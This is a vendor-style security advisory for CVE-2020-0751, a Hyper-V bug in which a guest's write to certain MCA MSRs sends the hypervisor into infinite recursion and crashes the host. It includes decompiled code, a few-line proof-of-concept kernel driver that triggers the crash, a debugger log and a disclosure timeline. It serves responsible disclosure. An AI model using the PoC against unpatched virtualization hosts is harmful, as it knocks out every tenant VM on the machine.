Vendor | Microsoft, www.microsoft.com |
Affected Products | Windows Hyper-V |
Affected Versions | Windows 10 and Windows Server without KB4532693 updates |
CVE ID | CVE-2020-0751 |
Severity | Important |
Author | Daniel Fernandez Kuehr (@ergot86), Blue Frost Security GmbH |
I. Platform
Microsoft Windows Version 10.0.18362.449
Microsoft Hypervisor Kernel Version 18362
Earlier versions also affected.
II. Technical Details
A 'wrmsr' instruction executed within a Hyper-V guest VM causes a vm-exit condition with exit code 32 (VMX_VMEXIT_WRMSR). The hypervisor handles such an event and different actions are taken depending on the MSR indexed by RCX, which can include the emulation of real CPU MSRs or synthetic ones implementing hypervisor specific functionality.
When handling guest VM writes to some MCA-related MSRs (for example MCA_DESTAT 0xC0002008) the execution path leads to an infinite recursive call.
The affected code is the following:
__int64 __fastcall sub_FFFFF80000260EE0(_QWORD *a1, __int64 a2, __int64 a3) { unsigned __int16 v3; // r9 unsigned __int16 v4; // ax v3 = 6; if ( a2 == 0x400 || a2 == 0x280 ) return 0; if ( a2 != 0x401 ) { if ( a2 == 0x402 ) { v4 = 0; if ( a3 ) return v3; a1[141] = 0i64; return v4; } if ( a2 == 0x403 ) { v4 = 0; if ( dword_FFFFF800006B21C8 == 1 ) { if ( a3 ) return v3; a1[142] = 0i64; } return v4; } // BUGGY CODE HERE if ( a2 > 0xC0001FFF && (a2 <= 0xC0002006 || (a2 + 0x3FFFDFF8) <= 5) ) return (sub_FFFFF80000260EE0)(a1, a2, a3, 6i64); return 0; } v4 = 0; if ( a3 ) return v3; a1[140] = 0i64; return v4; }
If the MSR index (a2) is in the 0xC0002000-0xC000200D range the function will call itself with the same unchanged arguments.
There doesn't seem to be any logical reason for the recursive call, moreover that kind of pattern is avoided in constrained stack space situations like hypervisor or kernel code. The cause of the bug is probably a typo calling a function with similar name to the caller (it is common in Microsoft to have many similar named functions with variations in the function prefix or suffix).
III. Impact
The stack gets filled with the callers return address and uninitialized space from the function frame, as a consequence the host crashes after consuming all the stack.
IV. Proof of Concept
Below we provide the PoC code that triggers the bug condition. The code must be compiled as a Windows Kernel Driver and get loaded in a guest VM running under Hyper-V. The driver must be either signed, or signing enforcement (and SecureBoot) disabled in the VM.
#include <intrin.h> #include <ntddk.h> NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ) { __writemsr(0xC0002008, 0); return STATUS_SUCCESS; }
As soon as the driver gets loaded it should crash the host hypervisor in the following way:
Microsoft Hypervisor Kernel Version 18362 MP (2 procs) Free x64 Built by: 18362.0.GitEnlistment(winpbld).191019-2253 Machine Name: Primary image base = 0xfffffa10`b8000000 Loaded module list = 0xfffffa10`b86762f0 System Uptime: not available Unable to add extension DLL: hvexts Access violation - code c0000005 (!!! second chance !!!) hv+0x296699: fffffa10`b8296699 e842a8fcff call hv+0x260ee0 (fffffa10`b8260ee0) 1: kd> dq rsp-8 00000100`00400ff8 ????????`???????? 00000000`00000000 00000100`00401008 ffffe802`0020c000 00000000`00003000 00000100`00401018 00000000`00000000 00000000`00000000 00000100`00401028 fffffa10`b829669e 00000000`00000000 00000100`00401038 00000000`00000000 00000000`00000000 00000100`00401048 00000000`00000000 00000000`00000000 00000100`00401058 fffffa10`b829669e 00000000`00000000 00000100`00401068 00000000`00000000 00000000`00000000 1: kd> u rip L2 hv+0x296699: fffffa10`b8296699 e842a8fcff call hv+0x260ee0 (fffffa10`b8260ee0) fffffa10`b829669e 90 nop
V. Disclosure Timeline
2019-11-07 |
Bug report sent to secure@microsoft.com |
2020-01-17 |
Microsoft confirms the bounty award of 15.000 USD. |
2020-02-11 |
Microsoft releases the patch. |
Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact research@bluefrostsecurity.de for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall Blue Frost Security be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Blue Frost Security has been advised of the possibility of such damages.
Copyright 2020 Blue Frost Security GmbH. All rights reserved. Terms of use apply.